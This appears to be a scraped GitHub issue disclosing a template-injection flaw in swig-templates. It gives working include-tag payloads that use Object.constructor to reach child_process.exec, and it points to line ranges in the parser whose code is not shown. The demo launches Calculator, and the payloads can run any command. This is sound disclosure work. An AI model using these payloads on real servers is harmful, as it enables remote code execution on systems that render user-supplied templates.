You need to ensure that the 1.html file exists
{% include "./1.html"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %}
or just use /etc/passwd
{% include "/etc/passwd"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %}
official doc
poc
tpl.html
run.js
the code above will execute

open -a Calculator.appcommandgif: http://cdn2.pic.y1ng.vip/uPic/2023/02/01/m1-134548_iShot_2023-02-01_13.45.05.gif
Reason
include.js will do some code splicing
swig-templates/lib/tags/include.js
Lines 39 to 52 in 313bed1
the return value will be added to var
outswig-templates/lib/parser.js
Lines 891 to 899 in 313bed1
finally the value of
out:the

outwill be used to make an anonymous function, and then call the functionif you debug in detail, you will find that it will
callthe following anonymous funciton:The text was updated successfully, but these errors were encountered: